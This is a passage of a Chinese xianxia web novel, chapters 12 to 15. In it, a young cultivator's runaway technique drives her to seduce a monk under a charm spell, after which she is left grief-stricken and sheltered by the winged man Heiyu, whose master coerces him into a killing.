荇菜赶紧道：“从八元城出来，我被这只黑鸦盯一路。对了，我在八元城结交一名叫黑羽的修士，出城不久，我就被乌鸦盯梢。”
惊蛰又窜至荇菜侧面：“合欢宗的小姑娘，你怕是惹下情债哦。如非必要，羽族人不会踏入高昌国境。”
荇菜又去抢火云子的铜钵，捏上就砸惊蛰的脑袋：“滚你丫的色胚和尚。”
惊蛰被打得眼冒金星，又瞪向火云子：你怎么不拦着点？
火云子：师兄你开心就好。
“施主，钵。”
荇菜把铜钵还他，连砸两次，被提元阴的气算是出了。
“我不知道他要干什么。我发誓没有得罪他。结交过程也是礼尚往来。当然，他是灵石，我是银子，略逊一筹。但是，结交情谊，不能拿花钱贵重衡量吧？”
火云子不予置评。他们除妖卫道，化来得就是一餐饭。
荇菜又把青山遇劫的事解释一遍，猜测黑羽会不会就是洞窟里的黑人劫匪。
惊蛰和尚从地里长到荇菜跟前，震惊地说：“洞窟，劫持？”猥琐地贴脸问，“可有强上？”
“我尼个大爷。”荇菜操起铜钵就砸在惊蛰的脸上，映出一片红。砸完才想起来，转脸问小沙弥：“他是什么修为？”
火云子：“佛丹境。”
荇菜抽唇角，要砸不敢再砸。
“阿弥陀佛。小僧走在修行的路上，时时修行，处处修行。”惊蛰弯腰行礼，察觉头上风来，仰面又被荇菜狠砸一记。
“嗵”得一声，铜钵发出明脆持久的嗡声。
“死就死了。你是在修行对吧？我满足你。”荇菜咬牙眯眸，气得发颤。
惊蛰和尚凝实周身的杀气，风旋里惊现霹雳，蓄势待发。
12. 第 12 章
和尚队伍全都停下。
大家以为惊蛰师兄会忍不住发疯，都准备好阻止他。
荇菜直面惊蛰和尚的杀意，生出恐惧，后背爬上冷汗。
蕴含杀意的金刚怒目脸豁然眉飞色舞，双唇一搭，开口就花花：“满足？合欢宗的小姐姐说得满足是那个意思吗？好期待啊。”
“啊……疯了。”荇菜朝这变态一连砸下去几铜钵。
“咚咚咚……”
师兄弟们扭曲脸孔，口念阿弥陀佛，眼露精光：雷火寺大师兄的变态程度又上升到一个旁人达不到的高度。难道这就是女施主的魅力？
荇菜砸累了，捏着钵呼呼地喘息。
惊蛰正下砸歪的鼻骨，抹去鼻血，啧了声：“体力太差。”
火云子感觉羞耻，轻声道：“师兄，适可而止。”
惊蛰瞧眼欲哭无泪的姑娘，抚平纯白的袈裟，仰首挺胸，继续带队前行。
火云子赶紧朝荇菜施礼：“对不起施主，我师兄他往日也不羁，但不会这般无厘头……”
“你在说什么？”
他这样是因为我吗，怪我咯？
荇菜瞪眼。
“阿弥陀佛。”火云子念叨一句，赶紧追上队伍。
荇菜瞧他们决绝离去的背影，心生一种无法说清的悲情。
谁说和尚慈悲，分明是无情。
她留在原地，面对水光润润的大驴眼，想哭……却怕哭后再没有勇气前进。
惊蛰和尚乍现在荇菜的身旁，吓得她原地起跳。
“阿弥陀佛，施主，贫僧能与你同行到前方的即谷。”
荇菜飞起一脚踹向他，被捏住脚踝，怒瞪：“谁要与你同行？放开，流氓和尚。”荇菜用力抽回脚。
惊蛰拉扯两下才松手，荇菜往后倒扑在驴背。
她怒不可遏，心知打不过这流氓，咬牙忍下，拉起毛驴就走：“神经病。”
惊蛰隔着毛驴与她并行，袈裟生曳乘风，施施然道：“羽民国人尚白。唯有一个地方是羽民国人不愿提起的存在：羽弃城，黑羽一族。”
荇菜委屈，撇头不理他。
惊蛰和尚又道：“施主不弄清事情原委，冤枉他人，日后行在道上，也无法走远。”
荇菜嚅唇，这人到底什么意思？就这么爱玩？
她睨他：“黑羽？城里不会全是秃头的黑毛鸟吧？”
“哈哈哈哈……”惊蛰和尚大笑，“施主很有趣啊。”
【怪我含沙射影太隐晦？】荇菜默然。
前方的和尚队伍忍得辛苦，发出程度不一的噗嗤声。
惊蛰指尖的雷力炸在发出笑声的脑袋上空，本就秃的脑袋冒出一阵蒸腾热气。
队伍里的和尚不敢置喙，纷纷躬身：“阿弥陀佛。”
“色即是空，空即是色，瞎想什么。这是在修行。谁笑了？今夜的晚课就由这些人代表全队诵读。”惊蛰严肃道。
荇菜冷眼旁观，已经看出来。惊蛰和尚分明在借斗嘴锻炼他和他的师弟们。
同行赶路，似乎已经变成各取所需。
她轻出口气：遇上这种人，何尝不是对我得一次考验？适应这个社会的生存方式就能活下去，不适应就被修真界淘汰。
惊蛰察觉到荇菜的气机变化，秒回此前猥琐的状态，嘿笑道：“施主，羽弃城有个规定：谁揭下他们的面罩就得把人娶回去。
你说，你惹下得是不是情债？”
“不可能。不是！”荇菜一连双否定，淡下脾气，“他要杀我在前，我控制他，揭下他的面罩，并非我自愿。另外，我在八元城认识的黑羽肤色不仅不黑，还白到发光。”
荇菜在潜意识里已经把黑羽和青山洞窟的黑夫劫匪混为一谈，却又不愿相信那位被孩子们为难的黑羽公子是黑肤劫匪。
惊蛰被她说糊涂，摸摸光头：“他们本是两个人，却因你的臆测，两人变成一人？”
“……”荇菜向一旁的火云子道：“小沙弥，你能分辨出来吗？”
“他修六神通，说不定能帮你认出人。不过，羽族人不太会出现在和尚的面前。”惊蛰再抢火云子的话头。
“为什么？”荇菜发现这流氓和尚挺博学。
“合欢宗不授大陆宗门课吗？”惊蛰反问。
荇菜又去抢火云子的铜钵。
惊蛰快走两步，到队伍的前面。
荇菜与火云子大眼瞪小眼。
荇菜松开手里的铜钵，瞟眼前头的大和尚，喃喃道：“你师兄是不是有病？”
火云子温声道：“我们雷火寺的武僧一道走得是以杀止杀，十方寺传下的佛法又教僧众慈悲为怀。
武僧行事和佛理间存在冲突，主持教我们修佛心。
惊蛰师兄是此道翘楚。”
“修傻了吧。压力太大，理念和行为产生冲突。”荇菜抽唇角：这种奇葩的反人道修炼方式不把人的脑子搞崩溃才怪。
火云子不想提惊蛰师兄的无厘头。有时候，他也替师兄的行为感到羞耻。
“羽民国内全民入宗，名为天羽宗。境内不止有羽族，还有兽族、海族等妖族。天羽宗人不怎么会进入高昌国境内。
高昌国以十方寺为护国寺，十方山内的大寺都以护天下众生为己任，降妖除魔，替天奉道。”
“哦，天生的敌对关系。十方山寺和天羽宗是天敌。”荇菜嘀咕：同我认识的佛宗完全不是一个概念。
“单方面。我们对恶妖怀杀意，不敌视天羽宗。”火云子继续道：“说回羽弃城，它是黑羽一族的族地。黑羽一族源自于金乌神鸟，天生高贵，但他们的精魄丢失火种，降为凡种。
黑羽一族自出生后不能离城，除非他们得到城外人的求娶。
若有黑羽族人流离在外，多伴是曾经嫁出城外的黑羽族后裔。
另外，黑羽族人接受成年礼后有一定几率肤色退变为我们寻常人的肤色。”
“照你的说法，劫持我的人和我在八元城认识的黑羽真是两个人？哪有人在短短两天时间内就嫁出去，肤色从黑变白？”
荇菜觉得这情况不太可能。试问一个全黑如碳的人在你面前，不经考虑、挣扎、徘徊，敢求爱？
从青山洞窟到八元城也就两天的路，黑匪不大可能在这么短时间就嫁人变白吧？
黑匪和黑羽不是同一个人。
弄明白后，荇菜的心思松下来。
她感激道：“多谢火云子小师父，你帮我大忙。我真怕遇上坏人，解决不了的话，以后寸步难行。”
“不客气，都是惊蛰师兄在引导我这么做。施主若要谢，就谢惊蛰师兄吧。”火云子为善不居功。
惊蛰和尚头也不回，在前带路。
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荇菜有一种这人挺了挺脊柱的感觉：“本姑娘谢他？做梦！我不杀他是因为我不想吗？我打不过他。”
火云子：施主开心就好。
至晚间，大家一路都没遇妖、闹妖，队伍露宿山野。
荇菜一个人一头驴倒不怕，荒山野地多群和尚，反倒不敢睡了。
和尚们用过白日化来的斋饭，惊蛰带头入睡，余下的和尚白日被炸过雷得在诵经做晚课。
在经声的催眠下，荇菜踏踏实实地睡到天亮。
“啊，”荇菜伸懒腰，和尚们已经在做早课，她起身入林解决生理问题。
等她出来，和尚们准备上路。
荇菜边磕干粮饼子，边道：“你们不吃早饭吗？”
火云子咽口吐沫：“昨日化缘得来的食物吃完了。”
“给你。”荇菜把剩下的饼子分给他。
“阿弥陀佛，施主善哉。”惊蛰再次闪现，走在荇菜的旁边。
荇菜犹豫两秒，把包裹里得最后一张饼子递给他。
她以为这货会同师弟们分享干粮，结果惊蛰吃独食，又刷新荇菜对他的看法下限。
“你……不分给同门吗？”她震惊问。
“施主还有斋饭吗？”惊蛰微笑反问。
“没有。”
“既没有，谁化的食物就谁吃。我没拿小师弟的半张饼子啊。”惊蛰说完，细细地啃食素饼。
【他还得感谢你手下留情？】
荇菜抽眼角，嫌弃道：“不知道你是怎么修到这个境界。”
“杀出来的。”惊蛰朝荇菜龇牙，露出金刚怒目的凶相。
一回生二回熟。这一次荇菜只咽口吐沫，撇脸向前，又忍不住心生好奇，再次斜瞥他。
惊蛰嘴巴坏，吃东西时还挺斯文。
他用手接着饼屑，吃完大饼，再放在唇前舔干净掌心的碎屑，像一只白色高大的拉布拉多。
吃完后，他去抓火云子的袍角。
火云子早防备他，取出一块素净的布绢：“师兄，用这个擦手。”
惊蛰和尚露惊：“小师弟，你竟然犯色戒？”
火云子哑口，又赶紧解释：“这是惊雷师兄裁袍时剩下的布，我用来做手绢。”
“大惊小怪。”惊蛰送他四字，接过布绢擦手。
荇菜看明白：这家伙就是喜欢戏耍别人，美其名曰锻炼你的心性，实则是闲得无聊生坏心思。
荇菜随行和尚队伍近半个月，一路上时不时被惊蛰和尚气得七窍生烟，思量打不过他就无视他。
半个月后，众人到达即谷这个地方。
原以为仅是一座山谷，没想到是即谷镇。
和尚队伍要入镇化缘，荇菜大松口气，准备同火云子告辞。
“谢谢你们。我到目的地了。”
“阿弥陀佛，施主慢走。”火云子没用人情世故得那套方式留她。
她来即来，她走便走，随缘心态。
荇菜取出五两银子递给火云子：“这是……香火钱。”
【谢谢你们一路照顾我。】
火云子正要拒绝，惊蛰在镇口牌坊下突现至荇菜的指前。他取过荇菜指尖的银两，展颜眯眸：“多谢姑娘，就此别过。”他勾起火云子的袈裟，拖他进镇。
荇菜朝他的背影嚅唇暗骂，牵上毛驴找当地人问路。
13. 第 13 章
三日后，荇菜孤身一人进入即谷。
她做充分的准备才进山：干粮、铲子、匕首、长剑、毯子……兑开的百两银票买一大堆她觉得能用上的野外求生装备。
按原书剧情的说法，她找到即谷内的山阳面，在一处天然洞窟里感应到石脉里散出来的玉气。
“我就在这修练几天。若能突破就去青虞宗，追上朱琴天的脚步。禾诗逸大美女绝对不能落进朱琴天的手。”
荇菜在洞口撒上驱虫粉，盘坐在洞内运转《还阳功》的第一篇第二章：夺良玉之气，养天地生机。”
荇菜的周身灵力从穴窍外散，在洞内缥缈纠缠。
三方的石壁上析出乳白色的生机气体，被灵力携裹入体。
运用功法愈深，玉石的生机之力改变肤色、容貌的程度加剧。
在玉气的生机滋润下，沉淀的暗黑色质化气消散，肤色变得越发剔透如玉，五官也因此更加生动明艳。
若此前金莲的身体是小家碧玉的美，现在的荇菜已经有顶级美人的胚型。
修练需循序渐进，但身处其中的人往往忘乎所以，荇菜也不例外。尤其是高明的功法，助人千里，也能一瞬毁人。
荇菜沉浸在生机力量的无穷爽感，一时忘记时间流逝。
天黑又亮，再次朦胧。
现今的身体能容纳的生机已经饱和，但荇菜完全停不下来。
这是功法走火入魔的征兆。
如同散修的她没有师父提醒着修练，急于求成、不懂节制。
修练须谨慎、不可求速，否则容易走火入魔。这是徒弟入门，师父该说得第一句话。
“啊……”荇菜的全身发胀，眼眸凝紫，额头密布热汗。
【糟，又来。】
一面是灵魂飘飞天外般的冷眼旁观，一面是被功法控制着身体能动性掠出洞窟。
圆月下的荇菜恍如鬼影，穿梭在即谷的银夜丛林。
一道佛诵吸引她，跃至山中的高石，垂首下方睡着的和尚队伍。
惊蛰是第一个发现她，收拢佛珠，一跃至前，拦下她的道，定睛问：“何方妖孽？咿，是你。”
紫海眼眸凝煞，直直地扫视惊蛰在月下鼓荡肌肉的身体。
荇菜朝他展示无声的魅惑笑容，翩然离去。
火云子猛地翻身而起，晃见一道影子如鹰纵远：“惊蛰师兄？”
同行的师兄们被他的声音惊醒，好奇道：“火云子师弟，怎么了？”
火云子担忧道：“师兄突然离开了，好像追着什么。”
众和尚纷纷起身，往惊蛰离开的方向追去。
另一边，荇菜如风般飘忽前行，引惊蛰出即谷，落在一处水洼丛生的山间石涧。
“妖孽，你占凡人躯体，还不快出来。”惊蛰虎视眈眈地环顾四周隐晦的石丛，察觉身后风来，转身际被一脚踹在腰间，扑通掉下溪涧。
他钻出水面，抹把脸，骂道：“好快的速度。这妖孽占人身体，难道是蝠妖一类？”
“妖？呵……你在找我吗？”荇菜从半空横身而下，直扑惊蛰。
惊蛰仰面，只觉得眼花目眩，月与她融在一起，不分彼此。
当他诵佛法定神时，紫海眼眸里映出心底得一片尸山血海，笼得他再也动弹不得。
“糟，惑术。”
那一年，十方山寺内遭遇最惨烈的事件。大妖美兕带领被她蛊惑的人族和妖族袭击锁妖塔。
美兕、大妖、被蛊惑的人修杀死大片的僧众，奔袭至锁妖塔前。
彼时的十方山内万千佛寺，修得全是正统佛法，以佛经典籍渡化世人，以功德无量造化世间。
空泛的佛法说不服不了美兕和大妖以及被他们蛊惑的人修，反让僧众横尸锁妖塔前。
十方寺第五代弟子惊蛰和惊雷横空出世，以惊人雷法和火法杀死进犯的人和妖族。
那一战，锁妖塔倒，妖尸、僧众的尸体、人修尸首如飘零黄叶，撒了漫山遍野。
美兕退走后，锁妖塔内逃走的妖族屠戮小半高昌国百姓，直至天龙道的道祖天尊出手，以无上法术挽救生灵，重建锁妖塔。
然而，一切都回不去了。
十方寺容不下杀人的出家人。惊蛰和惊雷被逐出十方寺，落脚雷火寺。
雷火寺主持收容两人，言道：“物无自性，事无重来。我佛在心，以杀道证佛心，亦能得成正果。”
“啊……”惊蛰大喝一声，从水中冲出，落在石岸，“你在哪？”
荇菜赤身从他下方盘游而上，依依袅袅如鬼随行：“我在这。嘻嘻……”
惊蛰的双目赤红，猛地出手去抓，掌心油滑，一下子人就不见。
他身如金刚，在石上盘坐，任由山涧飞雨落在赤条的全身，心神宁定，强念佛经。
“不是妖，是她。她就是妖。”
荇菜飘落在水面，仰面凝望他：“佛说有为法，一切如梦幻泡影。所见当是真，若非真，为何不见？”
“大日如来《金刚经》：如是我闻，一时，佛在舍卫国祗树给孤独园，与大比丘众千二百五十人俱……”
惊蛰的肌肉崩鼓，内心佛理早已坍塌如屑，脑海里全是当日屠戮妖族和人族的画面，如今将恶妖分尸入袋的血腥场面。
汗水犹如数不尽的罪恶从身体各处沁出，像是妖族和人族流出的血。
荇菜飞身落在他的后方，冰凉如玉的手在银月下抚上他的俊脸，顺汗液盘旋在他的颈项，又顺震动的胸膛滑下幽秘处。
“佛言：“善哉，善哉。须菩提！如汝所说，如来善护念诸菩萨，善付嘱诸菩萨。汝今谛听！”惊蛰的嘴上念着《金刚经》，感知却随她的手滑落，被握住滚烫得一刹那，胸腔猛地震动，赫然睁开双目，对上一双暗蓝泛紫的双眸。
双眸若海，铺天盖地的血水迎头浇落，不仅污染他的身体，更染红他的心。
荇菜盘进他的怀里，悄然地坐上高耸：“嗯……你不是爱玩嘛，我陪你玩，啊……”
她拉下已经断续吟诵的惊蛰脖颈，吻在他的唇角，如幽兰轻语：“我就是佛，你有杀佛心，杀了我，助你解脱啊。”
呵气如兰的魅惑，一起一伏的耸动。
荇菜屈起长颈，运转还阳功第二篇第一章：合合。阴阳相合，纳阳补阴。夺天之阴华，地生之阳力，铸无上仙功法体
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修为上升才能助力体内的生机力量克化。功法之道在于相辅相成，才能达成平衡上升之道。
“若有色、若无色；若有想、若无想、若非有想非无想，我皆令入无余涅盘而灭度之。如是灭度无量无数无边众生，实无众生得灭度者。”惊蛰张口失语，《金刚经》的佛法依旧在脑海里翻涌挣扎。
合十的双手被两股力量纠缠，一者想要揽住纤腰，加大力度和速度。一者在佛法的警钟下克制合掌。
周身的灵力像是开闸般从毛孔里尽泄流出，盘旋在妖女的周围，形成一道强大的合合法印，融入她的仙姿法体。
【明明是妖法，为何如此混元一体？】惊蛰的脑海里惊现此句，心中再无佛法痕迹。
“啊……好舒服。惊蛰，杀了我啊。我是佛，你有杀佛心，杀了我啊……啊……”荇菜夹紧得同时抚在他的眉尾，手显灵力，用力一划，眉尾惊现一道红旋。
不知是荇菜本能所为，还是惊蛰天生就有，红旋上浮现金红交错的法印。
以荇菜现今的修为依旧看不到这道法印的存在。
她清醒的神智在挣扎着控制身体，试图逃离这种羞耻的场面。
然而，她要逃离，惊蛰却已经失控沉沦。
他摆折她的身体，奋力欲死地伏动，直至泄劲得那刻。
周身灵力如水般涌入对方体内，眉尾的金红法印浮出身体，携带十字箴言纵向远方。
箴言：杀佛恐道，不如情道，慎择。
刹那功夫，强健的和尚身体散成灵点，散进晨雾。
荇菜猛地出手去抓，灵光如雾般散在如梦似幻的晨间。
她勾着腿，看着空空如也的掌心，浑噩地滑落石头，摔向潭水。
一道白影如惊鸿掠过，抱起昏过去的荇菜。
触手温润如玉，像是无法松手的瑰宝。
黑羽强提意志，帮她穿戴整齐，抱她回原来修练的洞窟。
翌日，荇菜醒来时只觉得吵闹不堪，像有成千上百只鸟在耳边叽叽喳喳。
“啊……”她扶着腰起身，环顾大一圈的洞窟，手砸在脑袋，“好痛。等一下……”
荇菜木楞地扬起脸，望向山洞外的日光。
昨夜疯狂得一幕像是地狱一样扑面而来。
她惊恐地伸出手掌，张口欲喊，却叫不出声，失语道：不……不可能！不可能……唔……不可能！
荇菜克制不住地落下眼泪，无法置信这是自己会干的事。
她不理解，不懂，怎么会这样呢？
疯了般冲出洞窟，寻找昨夜出事的地方。她要找到蛛丝马迹，证明自己没有那么不堪疯狂。
昨夜失控地她飘出去很远，根本找不回去。
荇菜跪坐在石上，木然欲死。
黑羽落在她的前方。这一刻，他终于明白这个女人为什么会有他的气息。
这道气息是通过合欢宗的功法夺取而来，非她本身所有。
在这种想法下，他的内心深处生起一丝隐秘的快意：因为她不是他的分身，因为她就是一个刚出茅庐练了无法自控功法的纯纯女孩子。
“这不是你的错。”黑羽开口道。
14. 第 14 章
荇菜木然地望着白得像是会发光的男人，无力地说：“你来杀我吗？杀了我吧。”
黑羽蹲下身，与她平视：“你的修为到达筑基中期，这是你修炼的功法问题，不是你的错。”
荇菜无神的双目微睁，张口欲说，却不知道说什么。
【功法？《玉石还阳功》不受我的控制。我该怎么办？】
与项檀是自救之举，与惊蛰，已经彻底说明这套功法的深层含义。
“呜呜呜……这是合欢功法，这竟然是合欢功法。”眼泪落下来，荇菜哭得惊天动地，仿佛要把数月来的委屈全哭出来。
黑羽陪在她的身侧。
她应该需要一个拥抱。但是，现在的她恐怕害怕被男人拥抱。
他递上一块干净洁白的丝巾手绢，耳听远处行来脚步声，温柔道：“别哭了，那群和尚在除妖，现下找过来了。”
荇菜惊悚，没法面对火云子一行人。
她抓住黑羽的衣袖，如溺水时抓的浮木，急切说：“你……我们算朋友们吧？”
黑羽望入她的眼眸，郑重地点头。
“请你带我离开这，我……我不敢见人。”
“好。”黑羽没让她说第二遍，揽抱她，入洞内收起她得一堆杂物，将此地弄成无人来过的模样，闪身离去。
林中上空，荇菜抓着他的衣袖，在内心挣扎许久才试探道：“你可以带我回去昨夜出事的地方吗？”
黑羽敛眸，低声道：“石涧？”
荇菜尴尬的无地自容，在半空中无处躲，埋进他的胸膛：“你……全都看到了？”
黑羽不答，往那地方飞去。
他抱着她落在石涧边，指向高耸的飘立大石：“他的师弟们来过这，取走袈裟和衣物，认为是即谷镇人上报的恶妖杀死他们的师兄。”
“总有人不信的。一个佛丹境的和尚就这么没了，怎么可能是火云子他们可以降服的妖呢？”荇菜沉静内敛地开口，一脚深一脚浅地走向溪涧，绕大石头走半圈。
她似乎想要找到一丝救赎，却连自己都不知道在找什么。
混乱的场面再次清晰地浮现眼前，比项檀时的朦胧显得更清楚深刻。
【这门功法在带我走向一条不归路，可怕得是，我已经走在这条路上。】
呼吸被无形的恐惧扼制，几近喘不过气。
荇菜扶着大石，从石缝里捡起一颗檀木佛珠：“这是……惊蛰的东西。”
脑海里，合十的双掌猛地挣开，佛珠散落，滚进石涧水面，或落在鹅软石上发出脆响……荼蘼的画面极尽荒诞，像是青蛇诱惑了法海。
佛珠上面雕刻哭面佛，诉说与佛背道而驰将承担的痛苦。荇菜将它拳在掌心，脑海里依旧是转移不去被掐在腰间的手感，以及奋力冲刺的快意。
回首远处的黑羽，荇菜急促呼吸，震动胸腔：若是死在这给他们赔命，算是了了吧。
脑海里有声音在辩：荇菜，这是功法的问题，不是你的错。
悲伤的荇菜说：这就是我的错。若是惊蛰化作灵光消散，那么项檀……也可能死了。他根本不是有隐藏身份的修士。周婶婶还在家等他。
这是我的错。
我修炼的《玉石还阳功》是合欢功法，这就是我的错。
黑羽发现荇菜撞向大石，闪身过去，一把将她拉回，紧紧地抱在胸前。
“别做傻事。这不是你的错。不要再修炼此功法，或可以解决这个问题。”
“不可能。”荇菜在他的怀里无望地说，“大错已经铸成。功法第二篇第三章：道生阴阳，逆阳运阴，促法生情。
我感觉它就在运转，像是一台不会停歇的机器。我不死，这门功法就停不下。
怎么办？以后是不是还会发生这种事？”
黑羽拥紧她，咬牙道：“别怕，我保护你。”
荇菜一时无言，丧地无法面对任何事。
她被黑羽带着飞离此地。
半月后，山泽国境内得一处山谷，荇菜埋首吃着黑羽做的饭，彼此对坐，一声不吭。
用完饭后，黑羽收拾桌面和碗筷，又来寻荇菜。
荇菜趴在木窗口，直愣愣地盯着院中鸟儿啄食黑羽种下的谷种。
她的眼神放空，不知在想什么。
黑羽沉默一会，坐在院中雕刻木模。完工后，他又寻来打造火窑的土，光膀子在院子里一丝不苟地干活。
荇菜本木楞的眼神会时不时转向他，远胜5.0的眼睛可以清晰地看到他的肌肤上滑落晶莹的汗液，被阳光点亮着落进被他双手搅合的黄泥。
“咚”得一声，荇菜的脑子砸在窗棱。
黑羽立时出现在窗前，固住她的脑袋：“别做傻事。”
荇菜羞愧地抬不起头，因为她清楚的意识到这具身体想要什么。她垂着头，扒下黑羽的双手，弱声弱气道：“你忙吧。我没事。”
黑羽不放心她，又不知怎么安慰她，提议道：“你……要不要帮我做火窑？”
荇菜头也不抬地摇头，又道：“你离开些。”
黑羽的面色微痛，抿唇退到院子边继续造火窑。
荇菜把双手抚在窗棱，脑袋一下下地撞在手背。
悲伤荇菜：【不敢死，我死过两次，已经不敢死。砖砸裂脑子，好痛。剑凉进心上，好痛。我不敢死了。】
愤怒的荇菜：那就不死，想办法解决它。不过是一个功法，怎么可能没有办法解决？
悲伤的荇菜：项檀怎么办？惊蛰怎么办？我怎么对得起周婶婶，怎么面对火云子？
愤怒的荇菜：……
火窑造好那日，黑羽烤了几条鱼作为晚餐。
他剔除所有的鱼刺，余下焦香的鱼皮和蘸着料汁的鱼肉：“吃吧。我小时候肚子饿，常常自己烤鱼吃。”
荇菜看着碗里，觑了他一眼，低头吃着鱼肉拌饭。
咽下食物后，她轻声问：“为什么会饿肚子？”
黑羽看着她的脑门玉光，嚅唇两下：“我被众人期待着出生。出生后，父母厌我如旧时恶疮。哥哥姐姐们不爱同我玩，差不多年纪的孩子骂我是镇上的灾星。大家像是看脏东西一样看我，包括我的父亲。”
“所以，他就给你取名黑羽吗？”
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荇菜想起火云子得那些话，“听说羽弃城的黑羽一族不被人喜欢。用黑羽这个名字是这个意思吗？”
“是。”黑羽垂首，默默地舔吃鱼骨上的剩肉。
荇菜忍不住看去，见到他吃的东西，垂目碗中的鱼肉，鼻头酸涩：“为什么对我这么好？”
黑羽无言，说不清这种感觉，想像父亲照顾母亲一样照顾她。
有时候，他也会反省，因为黑羽族可笑的面罩规定吗？
不是，因为在八元城的城门口，她抛来的银子，绽放的笑容吓退那群可爱的孩子。
因为在缘来客栈的饭桌上，她说得那番话：若他不伤害我，我平白无故地嫌弃他干嘛？
“你不会嫌弃我。”黑羽轻声道：只要我不伤害你，你就不会嫌弃我。我……不想被人嫌弃。
荇菜张口，望入他黑亮的眼睛，有种荒谬的感觉：他在向我求爱吗？
“难道不应该是你嫌弃我吗？我……害死两个男人，而他们都不是坏人。”
黑羽捏紧筷子，怎么告诉她，她根本没有杀人，只是破坏那人的分身法术。若是告诉她真相，她就不会自责，不自责就会离开这方山谷……
“你慢慢吃，我去烧窑。”
荇菜落寞地看着他逃也似飞走，眼泪不受控地滑落：“他……也嫌弃我吧？凭什么呀。这又不是我的错。啊……”
桌面上的碗盘落了一地，桌子也被掀翻。
黑羽又赶回来，强行拥住发疯的荇菜：“对不起，我不该离开。”
“你嫌弃我，连你也嫌弃我。”荇菜疯了般砸在他的心口，无法自控地狂哭。
“不是。没有。”黑羽张口，只会这两句。
“你不是也被人嫌弃吗？凭什么嫌弃我。凭什么呀，又不是我想这么做。”荇菜仰首看向他，咬牙道，“你吻我，你吻我啊。你不嫌弃我，你吻我啊。”
黑羽愣怔，无法理解女孩子的思维。他撇开脸，心跳如鼓，脸红耳热……被荇菜一把摆正脸，垫脚迎来的红唇震得他手脚发软。
荇菜吻住他的唇瓣，脑海里印出《欢情诀》的内容，什么欢情诀，不如换个名字叫《房中术》。
她抚在黑羽像是在蹦迪的胸膛，眼眸露暗紫，凝视他：“像我教你得吻我。证明你没有嫌弃我。”
黑羽着了魔般俯首吻她，探入她的喉骨，极尽全力地索取她的津液。
道生花在窗外看了出好戏，传音道：“黑羽啊黑羽，温柔乡英雄冢，你是出不来了。”
黑羽浑身僵硬，一掌劈在荇菜的后颈，喘息着接住昏过去的人。他第一次没有第一时间跪在道生花面前，小心得把荇菜抱上床，掖好被角。
他抹去唇角的湿濡，闪身出院，跪在道生花前。
“法尊。”
“若本尊不来，是不是借机同她睡了，彻底改变你这脏兮兮的肤色？”道生花微笑着撤去黑羽身上的障眼法，果如所料地看到惊惧的眼神，“可惜了，这么黑的脸看不清害怕恐惧的表情，还好，你的眼白里的眼珠还能逗本尊一乐。
不过，你的口味真特别啊。他的本体可是男身。”
15. 第 15 章
黑羽从单膝变成双膝跪地，磕首伏地：“法尊，她不是他的分身。体内的灵力是因为合欢宗功法，夺取他人的灵力。”
“哦？”道生花原地消失，立在榻前，张手吸取荇菜的灵魂，“有趣。即使是大乘修士，修元神法通，在三生道的摄魂术下也能把元神吸出体外。这丫头的固魂术修得真是同那人无二，怎么证明她不是他的分身之一？”
脸上豁然发笑，他伏在荇菜的脸前轻轻地嗅了下。
赶入屋的黑羽见他强吻荇菜，出于护妻的本能，出手袭向道生花。
道生花直起身，背后浮出的灵力屏障阻挡黑羽的攻击，似笑非笑地睨去：“黑羽，这是你第一次违背本尊，也是你最后一次对我出手。”
黑羽惊悚，猛地跪下去。“属下不敢。”
道生花有个习惯，一旦同人套近乎用“我”，那就必定死人。
他莞尔道：“确实不是他的气息。黑羽族……呵，你想要嫁给她？”
黑羽伏地不语，撑地的双手微拳，说明他的心思。
“本尊给你这个机会，你可以和她永远在一起。本尊还可以不收回障眼法，她就永远不会知道你是黑羽族。
洞房花烛夜，你会在缠缠绵绵中改变肤色，神不知鬼不觉地变成寻常人类。
美吗？”
明明是内心最期盼的美事，却像是行走在鬼门关。希望和绝望在这人的喜怒不辨里来回游摆。
黑羽的后背覆层冷汗，生出一股无法言喻的绝望。
诱惑越大，付出的代价也会越大，甚至可能血本无归，这就是三生道：择尽三生，道尽途穷。
道生花在言谈间已经把黑羽幻化回白皙的肤色，悠悠道：“回去给你的父亲看看你如今的样子，告诉他，你不再是以前那只黑乌鸦。
你要在他惊喜时掏出黑羽族独有的精魄，带回来给本尊，当是赎身钱。哦，顺便说说他那时的表情，像不像你出生时他露出的表情。
哈哈哈哈……”
黑羽仰面，目光呆滞地望他。
道生花俯视他，微笑说：“你懂我的意思吧。”目光落在床榻，“是不是他的分身，杀一杀就知道了。”人在原地消失，余下一道声音，“天黑前动身，本尊等不了多久。”
黑羽垂落肩头，喃喃道：“是，法尊。”
荇菜醒来时天色朦胧，床头靠着人。
她惊了下，随后镇定：“黑羽，谢谢你。”
黑羽起身，如往常般虔诚地望着她：“饿了吧，我去做饭。”
荇菜快速下床，揽在他的腰上，脸颊贴在他的心口：“黑羽，对不起。”
“说什么傻话，我打晕你，你不怪我？”黑羽掰开腰间的手，转向荇菜，努力温柔道，“说对不起得人应该是我。”
“不是的。我……”荇菜难以启齿。
在黑羽烧窑打铁的日子里，她无法自控地窥探他，脑子里像是有个意念在说“吸收他”。若不被打晕，恐怕又铸成大错。
黑羽捧起荇菜的下颚，如捧一朵彩云、一盏琉璃。
他鼓起勇气：“我要离开两日，在这谷中等我回来，好吗？我会来告诉你一件……很重要的事。”
“你去哪，不能现在说吗？”
黑羽轻轻地摇头，拉荇菜坐在桌前：“先喝口水歇一歇，我很快做好晚饭。”
荇菜捧着水杯发愣，不知时间流逝。
黑羽端菜入屋，放好碗筷：“吃饭吧。”
荇菜食不知所味，瞧他时不时望向窗外，低声道：“你要急就先走吧。我会在这等你回来。”
“等你吃完，我收拾好后再走不迟。”
荇菜捧着碗，越吃越慢，一粒饭都能嚼一会。月上中天，眼泪砸进空碗。
“你走吧。”她哽咽道。
黑羽一言不发地收拾桌面，在朦胧的院内望向立在窗下的清晰女人，朝她缓缓地绽笑，背过身步入黑暗。
荇菜追出院外，已没有黑羽的身影。
他是个直男，说走就走；也是个暖男，细心地照顾旁人的心情。
油灯烧整整一夜，荇菜没闭上眼。
说不清是为什么，就是睡不着。
她没有梦见过项檀，也没梦到惊蛰，却害怕脑海里一身青袍的项檀露出惊诧的脸面，害怕油腔滑调的惊蛰突然怒目金刚……
她把自己陷在自困的泥潭，怕两人前来索命。
“真是可怜啊。”道生花悄无声息地坐在桌前，擦把桌面，轻轻地吹拂指尖，“黑羽才离开一夜，桌子就沾了灰。他是有洁癖的鸟。”
荇菜肿胀两核桃眼，直直地看他。
【长得真好看，像是一只花孔雀。】
